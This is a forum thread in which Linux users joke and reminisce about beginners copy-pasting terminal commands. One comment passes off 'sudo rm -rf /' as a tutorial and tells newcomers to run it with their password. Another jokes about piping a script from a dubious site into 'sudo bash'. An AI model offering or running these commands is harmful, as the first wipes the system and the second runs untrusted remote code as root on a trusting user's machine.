I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

Nothing better than curl https://totally-legit-installer.com/script | sudo bash

That’s probably how most of us started, but then you start getting familiar with things…

I actually take the time to type everything out, but I still have no idea what I’m doing.

People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

Not just Linux, I do this all the time when 'writing' R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.

For anyone who needs it. Try out:

curl cheat.sh/

You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.

Years ago I started out like this, then gradually started reading and understanding the stuff.

I shouldn't have done that

I don't think that's a terrible way of getting started. Your subconscious will do the rest at some point, unless you're really not interested at all (which isn't a problem either). :)

I am not alone.

copy and pasted random login info

"Why isn't this working?"

I think this is how most people start but you gotta start somewhere right? This site helped me a lot: https://explainshell.com

There is a big issue in the Linux community where people are very concerned with the OS itself and not what people are actually doing with it. So if copy pasting is working and you are getting whatever it is you want don’ done, done, then no one should care how you got there.

All hail the arch Linux wiki!

ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.